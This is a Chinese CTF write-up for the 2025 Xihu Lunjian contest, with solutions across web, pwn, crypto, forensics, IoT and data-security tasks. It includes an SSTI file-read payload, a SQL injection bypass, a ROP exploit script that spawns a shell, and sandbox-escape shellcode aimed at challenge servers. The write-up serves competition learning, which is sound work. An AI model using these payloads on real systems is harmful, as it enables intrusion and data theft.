2025 西湖论剑wp
web
Rank-l
打开题目环境:
发现一个输入框,看一下他是用上面语言写的

发现是python,很容易想到ssti

密码随便输,发现没有回显
但是输入其他字符会报错

确定为ssti注入
开始构造payload,
{{(lipsum|attr(‘globals’)|attr(‘getitem’)(‘os’)|attr(‘popen’)(‘ls…’))|attr(‘read’)()}}

经过测试,发现过滤了/
这里使用构造器,联想到ctfshow上的题目
由于已经知道了flag的名字,直接构造出来
phone_number={% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(102)%2bchr(49)%2bchr(52)%2bchr(57)%}
{%print(x.open(file).read())%}
获取flag

sqli or not
源码:
var express = require('express');
var router = express.Router();
module.exports = router;router.get('/',(req,res,next)=>{if(req.query.info){if(req.url.match(/\,/ig)){res.end('hacker1!');}var info = JSON.parse(req.query.info);if(info.username&&info.password){var username = info.username;var password = info.password;if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){res.end('hacker2!');}var sql = "select * from userinfo where username = '{username}' and password = '{password}'";sql = sql.replace("{username}",username);sql = sql.replace("{password}",password);connection.query(sql,function (err,rs) {if (err) {res.end('error1');}else {if(rs.length>0){res.sendFile('/flag');}else {res.end('username or password error');}}})}else{res.end("please input the data");}}else{res.end("please input the data");}
})
第一关过滤了,

我们可以使用编码绕过%2c
这里发现可以绕过去
过滤了一些字符
这里很容易想到用万能语句:'or 1=1#
但是题目过滤了单引号
翻文档可知

这样我们就可以绕过单引号闭合
payload:?info={“username”:“$`or+1=1%23”%2C"password":“1111”}
成功下载flag


pwn
Vpwn
检测基本信息:
┌──(kali㉿kali)-[/mnt/hgfs/ReWork/2025xihulunjian/Vpwn]
└─$ checksec --file=./Vpwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols N/A 0 0 ./Vpwn
定义一个结构体:
struct StackVector {char padding[24]; // 填充 24 字节__int64 size; // 位于偏移 24 的位置
};
发现push操作存在逻辑漏洞,发现size字段口译被修改
__int64 __fastcall push(__int64 a1, int *idx)
{int v2; // ecx__int64 result; // raxv2 = *idx;result = *(a1 + 24);*(a1 + 24) = result + 1;*(a1 + 4 * result) = v2;return result;
}
发现这个函数可以泄漏libc:
StackVector *__fastcall sub_1928(StackVector *a1)
{std::out_of_range *exception; // rbxStackVector *result; // raxif ( !a1->size ){exception = __cxa_allocate_exception(0x10uLL);std::out_of_range::out_of_range(exception, "StackVector is empty");__cxa_throw(exception, &`typeinfo for'std::out_of_range, &std::out_of_range::~out_of_range);}result = a1;--a1->size;return result;
}
使用脚本调用该命令,泄露出栈上数据:

动调可以发现第19和第18是libc地址!
发现我们构造的数据胡写进栈内存中, StackVector initial_struct; // [rsp+30h] [rbp-40h] BYREF
而且并未限制写入栈中数据的个数,存在溢出漏洞直接构造rop链调用system拿到shell!
直接再libc中寻找gadgets,b’/bin/sh’和pop rdi ret 和system,直接一把梭!
from pwn import *# 加载 libc 文件
def load_libc():return ELF('./libc.so.6')# 初始化目标
def init_target(is_remote=True):if is_remote:return remote('139.155.126.78', 31648) # 远程连接else:return process('./vpwn') # 本地测试# 发送命令并等待提示
def send_command(target, choice):target.sendlineafter(b'choice', str(choice))# 修改指定索引的值
def modify_value(target, index, value=b'1'):send_command(target, 1) # 选择编辑功能target.recvuntil(b'edit') # 等待编辑提示target.sendline(str(index).encode()) # 发送索引target.recvuntil(b'value') # 等待值提示target.sendline(str(value).encode()) # 发送新值# 将 64 位数据拆分为高低 32 位
def split_64bit(value, half):if half == 0:result = value & 0xFFFFFFFF # 低 32 位else:result = (value >> 32) & 0xFFFFFFFF # 高 32 位if result > 0x7FFFFFFF: # 处理负数result -= 2**32return result# 填充栈
def fill_stack(target, count=8, value=b'888'):for _ in range(count):send_command(target, 2) # 选择 push 功能target.recvuntil(b'push') # 等待 push 提示target.sendline(value) # 发送 push 的值# 获取栈内容
def get_stack_contents(target):send_command(target, 4)target.recvuntil(b'StackVector contents: ') # 等待栈内容提示return target.recvuntil(b'\n').split(b' ') # 接收并分割栈内容# 计算 libc 基地址
def calculate_libc_base(stack_data, libc):libc_address = (int(stack_data[19]) << 32) + (int(stack_data[18]) & 0xFFFFFFFF)return libc_address - 0x29D90 # 计算基地址# 构造 ROP 链
def build_rop_chain(target, libc_base, libc):# 计算关键地址system_addr = libc_base + libc.symbols['system'] # system 函数地址bin_sh_addr = libc_base + next(libc.search(b'/bin/sh')) # "/bin/sh" 字符串地址pop_rdi_addr = libc_base + 0x2A3E5 # pop rdi; ret gadget 地址rop_start_index = 18 # ROP 链起始索引# 写入 ROP 链modify_value(target, rop_start_index, split_64bit(pop_rdi_addr + 1, 0)) # pop rdi 高 32 位modify_value(target, rop_start_index + 1, split_64bit(pop_rdi_addr + 1, 1)) # pop rdi 低 32 位modify_value(target, rop_start_index + 2, split_64bit(pop_rdi_addr, 0)) # pop rdi 高 32 位modify_value(target, rop_start_index + 3, split_64bit(pop_rdi_addr, 1)) # pop rdi 低 32 位modify_value(target, rop_start_index + 4, split_64bit(bin_sh_addr, 0)) # "/bin/sh" 高 32 位modify_value(target, rop_start_index + 5, split_64bit(bin_sh_addr, 1)) # "/bin/sh" 低 32 位modify_value(target, rop_start_index + 6, split_64bit(system_addr, 0)) # system 高 32 位modify_value(target, rop_start_index + 7, split_64bit(system_addr, 1)) # system 低 32 位# 触发漏洞并获取 shell
def exploit(target):send_command(target, 5) # 触发漏洞target.interactive() # 获取 shell# 主函数
def main():# 初始化libc = load_libc()target = init_target(is_remote=True) # 本地测试# 填充栈fill_stack(target)# 获取栈内容并计算 libc 基地址stack_data = get_stack_contents(target)libc_base = calculate_libc_base(stack_data, libc)# 构造 ROP 链build_rop_chain(target, libc_base, libc)# 触发漏洞并获取 shellexploit(target)if __name__ == '__main__':main()
Heaven’s door
发现存在沙箱过滤了很多的指令但是少了SYS_openat和SYS_sendfile
┌──(kali㉿kali)-[/mnt/hgfs/ReWork/2025xihulunjian/pwn3]
└─$ seccomp-tools dump ./pwn
puchid: 139520
Rasen Kaidan
Kabutomushi
Haikyo Kaido
asdasdline CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000000 A = sys_number0001: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 00120002: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 00130003: 0x15 0x09 0x00 0x00000001 if (A == write) goto 00130004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 00130005: 0x15 0x07 0x00 0x00000004 if (A == stat) goto 00130006: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 00130007: 0x15 0x05 0x00 0x00000006 if (A == lstat) goto 00130008: 0x15 0x04 0x00 0x00000007 if (A == poll) goto 00130009: 0x15 0x03 0x00 0x00000008 if (A == lseek) goto 00130010: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 00130011: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 00130012: 0x06 0x00 0x00 0x00000000 return KILL0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
再看看伪代码,发现是典型的orw执行,绕过沙箱即可!
int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v4; // [rsp+0h] [rbp-10h]init(argc, argv, envp);v4 = fork();if ( v4 ){printf("puchid: %d\n", v4);mmap(0x10000, 0x1000uLL, 7, 50, -1, 0LL);read(0, 0x10000, 0xC3uLL);if ( count_syscall_instructions(0x10000LL, 4096LL) > 2 )exit(-1);sandbox();MEMORY[0x10000]();//执行汇编return 0;}else{made_in_heaven();puts("The time is Accelerating");puts("MADE IN HEAVEN !!!!!!!!!!!!!!!!");return 0;}
}
直接搓出python脚本,orw读取flag:
from pwn import *# 设置上下文
context(log_level='debug', arch='amd64', os='linux')# 初始化目标
# io = process("./pwn") # 本地测试
io = remote('139.155.126.78', 21893) # 远程连接# 修改后的Shellcode
pay = asm('''mov rax, 0x67616c662f2e # 将字符串 "./flag" 存入 raxpush rax # 将字符串压栈xor rdi, rdi # rdi = 0 (AT_FDCWD)sub rdi, 100 # rdi = -100 (AT_FDCWD)mov rsi, rsp # rsi 指向栈顶(即 "./flag" 的地址)xor rdx, rdx # rdx = 0 (flags)xor r10, r10 # r10 = 0 (mode)push SYS_openat # rax = SYS_openatpop raxsyscall # 调用 openatmov rdi, 1 # rdi = 1 (stdout)mov rsi, rax # rsi = 文件描述符 (openat 返回的 fd)xor rdx, rdx # rdx = 0 (offset)mov r10, 0x100 # r10 = 0x100 (读取的字节数)push SYS_sendfile # rax = SYS_sendfile (64位系统调用号)pop raxsyscall # 调用 sendfile
''')# 发送 payload
io.send(pay)# 进入交互模式
io.interactive()
crypto
matrixRSA
task:
import random
import string
from Crypto.Util.number import *
from secret import flag
ext_len = 9*23 - len(flag)
flag += ''.join(random.choice(string.printable) for _ in range(ext_len))
def my_rsa_encrypt():p = getPrime(512)q = getPrime(512)n = p * qdata = []for i in range(9):data.append(bytes_to_long(flag[23*i:23*(i+1)].encode()))M = Matrix(Zmod(n), [data[i:i+3] for i in range(0, len(data), 3)])e = 65537C = M**eprint("p =", p >> 100)print("n =", n)return C
C = my_rsa_encrypt()
print("C =", C)
'''
p = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
C = [130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941 71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757 67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615]
[ 23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993 9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601 44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401]
[ 67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572 13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727 95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676]'''
这里泄漏了p的高100位 ,copper恢复即可,得到p,q
e = 65537
pp = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
pp<<=100R.<x> = PolynomialRing(Zmod(n))
f = pp + x
root= f.small_roots(X=2^100, beta=0.4)
p=pp+int(root[0])
q= n // p

再就是模的矩阵群,这里是三阶为p(p+1)(p−1)(p2+p+1)
from Crypto.Util.number import *
import gmpy2
C = [(130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941,71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757,67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615),(23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993,9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601,44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401),(67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572,13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727,95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676)
]
e = 65537
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009p=12305755811288164655681709252717258015229295989302934566212712319314835335461946241491177972870130171728224502716603340551354171940107285908105124549960063
q=10750967246621849802090386055921679114516122704252330881722100331526757637044067492444912824266860574267360247681890637480406758188129451052986858429875143order_p = p*(p-1)*(p+1)*(p^2+p+1)
order_q = q*(q-1)*(q+1)*(q^2+q+1)
order = order_p * order_qd = gmpy2.invert(e,order)
C = Matrix(Zmod(n),C)
M = C ** dflag = b""
for i in range(3):for j in range(3):m = int(M[i,j])flag += long_to_bytes(m)
print(flag)
#48ccbfd88061d7ff3d5325148ec55d11
misc
糟糕的磁盘
file所有img文件可知是raid0,010分析发现有png
uGZ85OzT.img

Fsiq6lKn.img


使用R-STUDIO读取,发现当uGZ85OzT.img、m8X4exzG.img、Fsiq6lKn.img组合时可得到图片


剩下的再组得到


secret,结合key可联想到veracrypt,挂载


打开得到flag


flag:DASCTF{R41D_4ND_D15K_M4573R}
IOT
blink
检测固件信息,发现路径手动查看一下:
┌──(kali㉿kali)-[/mnt/hgfs/ReWork/2025xihulunjian/blink]
└─$ file blink.bin
blink.bin: ESP-IDF application image for ESP32, project name: "blink", version v5.3.2-dirty, compiled on Dec 29 2024 14:59:57, IDF version: v5.3.2-dirty, entry address: 0x40081198┌──(kali㉿kali)-[/mnt/hgfs/ReWork/2025xihulunjian/blink]
└─$ binwalk -Me ./blink.binScan Time: 2025-01-18 03:56:57
Target File: /mnt/hgfs/ReWork/2025xihulunjian/blink/blink.bin
MD5 Checksum: c31950914642264e7df8c15da12f3f69
Signatures: 411DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
12304 0x3010 Unix path: /dev/uart/0
发现一个路径在其附近的字符串查看一下就可以发现一个模式电码和字符串:

电码和字符串:rtosandmorseisveryeasyhahhaha
.-. - --- ... / .. ... ...- . .-. -.-- . .- ... -.-- .... .- .... .... .- .... .-
发现他就是flag
sharkp
打开流量包,导出HTTP对象

能发现只有三个接口,一个一个看
setConfigUpload看着很像,但是这是上传的日志文件

在setSystemAdmin里AdminID用反引号执行命令了,rce的接口是setSystemAdmin

附件给的firmware.bin没有用,在TCP的190流有一个ELF文件,原始数据导出

Ida打开能看到是shellcode

放进安恒云沙箱
可以找到回连地址
Flag{setSystemAdmin_115.195.88.161}
DS
easydatalog
access.log中/upload/1.php,猜测是上马了
error.log发现有

webshell密码为1,过滤出所有相关数据
.1=%40eval(%40base64_decode.
发现有一个jpg和zip


回到error.log中,将数据提取出来,得到


java盲水印
java -jar BlindWatermark.jar decode -f Untitled1.jpg 1.jpg
得到

pass:dataPersonPass123987

30601319731003117X_79159498824
DSASignatureData
处理流量,提取userid与name、idcard、phone
import pyshark
import json
import re
import csvdef extract_http_info_to_csv(pcap_file, csv_file):# 打开PCAP文件cap = pyshark.FileCapture(pcap_file, display_filter='http.request')# 打开CSV文件以写入with open(csv_file, mode='w', newline='', encoding='utf-8') as file:writer = csv.writer(file)# 写入CSV的列名writer.writerow(['userid', 'name', 'idcard', 'phone'])for packet in cap:try:# 提取HTTP请求的URL和正文http_layer = packet.httprequest_uri = http_layer.request_uriif 'userid=' in request_uri:userid_match = re.search(r'userid=(\d+)', request_uri)userid = userid_match.group(1) if userid_match else Noneelse:continue# 提取HTTP请求体if hasattr(http_layer, 'file_data'):body = bytes.fromhex(http_layer.file_data.replace(':', '')).decode('utf-8')json_data = json.loads(body)# 提取name, idcard和phonename = json_data.get("name")idcard = json_data.get("idcard")phone = json_data.get("phone")# 写入CSV文件writer.writerow([userid, name, idcard, phone])except Exception as e:print(f"Error processing packet: {e}")cap.close()print(f"Data has been written to {csv_file}")# 使用示例
pcap_file_path = 'http.pcapng' # 替换为你的PCAP文件路径
csv_file_path = 'output.csv' # 指定输出CSV文件路径
extract_http_info_to_csv(pcap_file_path, csv_file_path)
已知签名算法采用 DSA,哈希算法采用 SHA256,加密数据并与data-sign.csv中数据进行比较,将被篡改过的个人信息数据并保存到新的csv文件中
import base64
import csv
import os
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256def load_public_key(file_path):with open(file_path, 'rb') as f:public_key = DSA.import_key(f.read())return public_keydef verify_signature(public_key, message, signature):hash_obj = SHA256.new(message.encode('utf-8'))verifier = DSS.new(public_key, 'fips-186-3')try:verifier.verify(hash_obj, signature)return Trueexcept ValueError:return Falsedef load_signatures(csv_file_path):signatures = {}with open(csv_file_path, newline='') as csvfile:reader = csv.reader(csvfile)next(reader)for row in reader:username, name_signature, idcard_signature, phone_signature = rowsignatures[username] = {'name_signature': name_signature,'idcard_signature': idcard_signature,'phone_signature': phone_signature}return signaturesdef write_to_csv(data, output_file):with open(output_file, mode='a', newline='', encoding='utf-8') as file:writer = csv.writer(file)writer.writerow(data)csv_file_path = 'data-sign.csv'
signatures = load_signatures(csv_file_path)
csv_file_path2 = 'data.csv'
public_key_dir = './public'
csv_file_path3 = '1.csv'with open(csv_file_path2, newline='', encoding='utf-8') as csvfile:reader = csv.reader(csvfile)next(reader)for row in reader:userid, name, idcard, phone = rowuserid_padded = userid.zfill(4)public_key_file_path = os.path.join(public_key_dir, f"public-{userid_padded}.pem")try:public_key = load_public_key(public_key_file_path)except FileNotFoundError:print(f"Public key file not found for user {userid_padded}")continuemessages = {'name': name,'idcard': idcard,'phone': phone}flag = 0for key, message in messages.items():try:signature = signatures[userid][f'{key}_signature']is_valid = verify_signature(public_key, message, base64.b64decode(signature))if not is_valid:flag = 1except KeyError:print(f"Signature for {key} not found for user {userid}")flag = 1if flag:write_to_csv([userid, name, idcard, phone], csv_file_path3)
得到

再将数据根据userid排序,并删除重复项
import pandas as pddata = pd.read_csv('1.csv', header=None)
data = data.drop_duplicates()
data = data.sort_values(by=data.columns[0])
data.to_csv('2.csv', index=False)
提交

easyrawencode
rsa目录下存在

encrypted_data.zip、hack.py、private.pem,提取出来
import os
import hashlib
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSAhackkey = os.getenv('hackkey')
if not hackkey:raise ValueError("Environment variable 'hackkey' is not set")with open('private.pem', 'r') as f:private_key = RSA.import_key(f.read())
public_key = private_key.publickey().export_key()aes_key = hashlib.sha256(hackkey.encode()).digest()with open('data.csv', 'rb') as f:data = f.read()cipher_aes = AES.new(aes_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
cipher_rsa = PKCS1_OAEP.new(RSA.import_key(public_key))
enc_aes_key = cipher_rsa.encrypt(aes_key)with open('encrypted_data.bin', 'wb') as f:f.write(ciphertext)print(enc_aes_key.hex())
print(cipher_aes.nonce.hex())
print(tag.hex())
读取了环境变量中的hackkey的值作为aes的key

4etz0hHbU3TgKqduFL
vol -f easyrawencode.raw --profile=Win7SP1x64 console

import os
import hashlib
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSAhackkey = '4etz0hHbU3TgKqduFL' # 提供的 hackkey# 读取私钥
with open("C:\\Users\\等风来\\Desktop\\private.pem", 'r') as f:private_key = RSA.import_key(f.read())
print("Private key loaded successfully.")# 获取加密的 AES 密钥(来自公钥加密)
enc_aes_key_hex = "20d96098010eb9b326be6c46e1ce1ca679e29f1d65dec055cf8c46c6436c3356af2dc312b2d35466308b9fff0dd427b44a37e34fca12992e45db2ddd81884bd8eb5bccd3c595e8a9a352bd61322e1d52329d6c8638bbfce65edffbc4d3a5759e88c0f90e31ce518837552a3a09d8e7e3c374f3857bfe501cce2066fb233ff1f5faac18d73c3b665a54e8c55574f16bf4678c5ce835d2a14a65f8c1cec012435a8c06314cbe727a3a9b6060dfd6cdb850073423841178f6f409bb7ce8d4863c6f58855954d34af3d2964c488c9057c8c5072a54e43f1f8039d32409eb1ff3abca41c0b302788c4c56c1a4be4506ff5b8aff0242e21c0ee7ffee2da20ed9434334"
nonce_hex = "d919c229aab6535efa09a52c589c8f47"
tag_hex = "5b204675b1b173c32c04b0b8a100ee29"# 将十六进制字符串转换为字节
enc_aes_key = bytes.fromhex(enc_aes_key_hex)
nonce = bytes.fromhex(nonce_hex)
tag = bytes.fromhex(tag_hex)# 解密 AES 密钥
cipher_rsa = PKCS1_OAEP.new(private_key)
try:aes_key = cipher_rsa.decrypt(enc_aes_key)print("AES key decrypted successfully.")
except Exception as e:print(f"Error decrypting AES key: {e}")# 使用 AES 密钥和 nonce 解密数据
cipher_aes = AES.new(aes_key, AES.MODE_EAX, nonce=nonce)
with open("C:\\Users\\等风来\\Desktop\\encrypted_data.bin", 'rb') as f:ciphertext = f.read()# 解密数据并验证标签
try:data = cipher_aes.decrypt_and_verify(ciphertext, tag)# 将解密后的数据保存为 CSV 文件with open("decrypted_data.csv", 'wb') as f:f.write(data)print("Data decrypted successfully and saved as 'decrypted_data.csv'.")
except ValueError:print("Decryption failed or data integrity compromised!")
except Exception as e:print(f"Error during decryption or saving file: {e}")
得到csv
然后rc4解密性签名,使用密码列解密
import pandas as pd
from Crypto.Cipher import ARC4
from base64 import b64decodedef rc4_decrypt(key, data):"""RC4 解密函数"""cipher = ARC4.new(key)return cipher.decrypt(data)def decrypt_signature(row):"""解密个性签名"""try:# 从 base64 解码密文签名encrypted_signature = b64decode(row['个性签名(加密版)'])# 获取密码并进行解密password = row['密码'].encode()decrypted_signature = rc4_decrypt(password, encrypted_signature)return decrypted_signature.decode('utf-8') # 解密并转换为字符串except Exception as e:# 如果解密失败,输出错误信息并返回空字符串print(f"Error decrypting for user {row['用户名']}: {e}")return ''# 读取 CSV 文件
df = pd.read_csv("decrypted_data.csv")# 应用 decrypt_signature 函数到每一行,创建新的列
df['个性签名'] = df.apply(decrypt_signature, axis=1)# 将结果保存到新的 CSV 文件
df.to_csv("data2.csv", index=False)print("Decryption complete and results saved to 'data2.csv'.")
搜索解密出的csv,得到flag: DASCTF{fc450e2a9062a39049d501cb5ce287d0}
相关文章:
2025 西湖论剑wp
web Rank-l 打开题目环境: 发现一个输入框,看一下他是用上面语言写的 发现是python,很容易想到ssti 密码随便输,发现没有回显 但是输入其他字符会报错 确定为ssti注入 开始构造payload, {{(lipsum|attr(‘global…...
Spring Cloud + Nacos + K8S 零影响发布方案
问题描述 在生产环境中使用 springcloud 框架,由于服务更新过程中,容器服务会被直接停止,部分请求仍被分发到终止的容器,导致服务出现500错误,这部分错误请求数据占用比较少,因为Pod滚动更新都是一对一。因…...
Git命令摘录
使用 Git 升级软件通常是指通过 Git 仓库获取软件的最新版本或更新代码。以下是详细的步骤和方法: 1. 克隆软件仓库 如果这是你第一次获取软件代码,可以使用 git clone 命令将远程仓库克隆到本地。 git clone <仓库地址> 例如: git cl…...
2024年博客之星年度评选—创作影响力评审+主题文章创作评审目前排名(2024博客之星陪跑小分队助力2024博客之星创作者成长)
2024年博客之星年度评选—创作影响力评审主题文章创作评审目前排名 2024年博客之星主题文章创作评审文章得分公布!2024年博客之星创作影响力评审2024年博客之星主题文章创作评审目前排名公布! 【2024博客之星】恭喜完成✅主题创作的226位博主࿰…...
unity 0基础自学2.1:unity 中button的各类状态
文章目录 1、Button的状态2、脚本中获取button的状态2.1 分析状态获取2.2 通过实现接口获取button的状态2.2.1 鼠标点击与释放2.2.2 高亮模式2.2.3 退出选中模式(高亮状态)2.2.4 选择模式selected2.2.5 退出选择模式 3、射线与UI交互设置3.1 Canvas中组件…...
《C++ Primer》学习笔记(一)
第一部分:C基础 在C和C编程语言中,main函数必须返回int类型的值。这一要求自C标准的第一次规范(C89,也叫ANSI C)开始就已经明确规定了。std::endl和\n都用于插入换行符。std::endl除了换行,还会强制刷新输…...
DedeBIZ系统审计小结
之前简单审计过DedeBIZ系统,网上还没有对这个系统的漏洞有过详尽的分析,于是重新审计并总结文章,记录下自己审计的过程。 https://github.com/DedeBIZ/DedeV6/archive/refs/tags/6.2.10.zip 📌DedeBIZ 系统并非基于 MVC 框架&…...
基于 Python(Flask)、JavaScript、HTML 和 CSS 实现前后端交互的详细开发过程
以下是一个基于 Python(Flask)、JavaScript、HTML 和 CSS 实现前后端交互的详细开发过程: --- ### 一、技术选型 1. **后端**:Python Flask(轻量级Web框架) 2. **前端**:HTML/CSS JavaScript&…...
作业。。。。。
顺序表按元素删除 参数:删除元素,顺序表 1.调用元素查找的函数 4.根据下表删除 delete_sub(list,sub); //删除元素 void delete_element(int element, Sqlist *list) …...
C#快速排序QuickSort将递归算法修改为堆栈Stack非递归方式
我们知道,方法的调用是采用Stack的方式[后进先出:LIFO], 在DeepSeek中快速搜索C#快速排序, 搜索结果如图: 我们会发现是采用递归的方式 . 递归的优点: 简单粗暴,类似于直接写数学公式,因代码量较少,易于理解.递归与循环迭代的运行次数都是一致的 递归的缺点: 占用大量的内…...
15.最大二叉树、合并二叉树、二叉搜索树
最大二叉树 就是一个提供了额外信息的中序遍历 class Solution { public:TreeNode* sol(vector<int>& nums,int start,int end){if(startend)return nullptr;int maxnums[start],indexstart;for(int istart;i<end;i){if(nums[i]>max){maxnums[i];indexi;}}Tr…...
【DeepSeek × Postman】请求回复
新建一个集合 在 Postman 中创建一个测试集合 DeepSeek API Test,并创建一个关联的测试环境 DeepSeek API Env,同时定义两个变量 base_url 和 api_key 的步骤如下: 1. 创建测试集合 DeepSeek API Test 打开 Postman。点击左侧导航栏中的 Co…...
Repo命令使用
repo 命令与 git 类似,但它主要用于管理多个 Git 仓库的操作。以下是等效的 repo 命令: 1. 获取新仓库代码 克隆仓库 repo init -u <manifest_url> -b <branch_name> repo sync repo init:初始化 repo,指定远程清单…...
npm install 失败
考虑原因: node版本不符代理镜像连接失败权限不足 症状1: 卡住 尝试降低nodejs版本 症状2:报错 报错1:permission not permitted 报错2: 超时 应对方法: node版本不符 降版本 镜像失败 – 切换镜像 …...
排序算法整理(冒泡排序、选择排序、插入排序、希尔排序、快速排序、堆排序、计数排序、桶排序、基数排序)
排序算法是计算机科学中用于将数据元素按照特定顺序进行排列的算法,常见的排序算法有以下几类: 比较排序 冒泡排序:通过重复地走访要排序的数列,一次比较两个元素,如果它们的顺序错误就把它们交换过来。走访数列的工作…...
Kimi实战1/100 - 读接口文档,编写接口
文章目录 Kimi实战1/100 - 读接口文档,编写接口接口调用requests 调用代码说明注意事项 接口提供FastAPI 接口代码代码说明测试方法 Kimi实战1/100 - 读接口文档,编写接口 接口调用 User: 根据 接口文档 https://www.eiisys.com/home/apiDetails?id00…...
Spring Cache @Cacheable:提升应用性能的利器
在构建企业级应用时,性能优化至关重要。Spring Cache 提供了一种简便而强大的方式来缓存方法调用的结果,从而减少数据库访问、提高响应速度。其中,Cacheable 注解是 Spring Cache 的核心,本文将深入剖析 Cacheable 注解࿰…...
css块级元素和行内元素区别
在CSS中,元素可以分为两大类:块级元素(Block-level elements)和行内元素(Inline elements)。这两种元素在网页布局中起着不同的作用,主要体现在它们的显示方式、尺寸控制、以及与其他元素的交互…...
AWTK fscript 中的 TCP/UDP 客户端扩展函数
fscript 是 AWTK 内置的脚本引擎,开发者可以在 UI XML 文件中直接嵌入 fscript 脚本,提高开发效率。本文介绍一下 fscript 中的 TCP/UDP 客户端扩展函数。 1.iostream_tcp_create 创建 TCP 客户端输入输出流对象。 原型 iostream_tcp_create(host, por…...
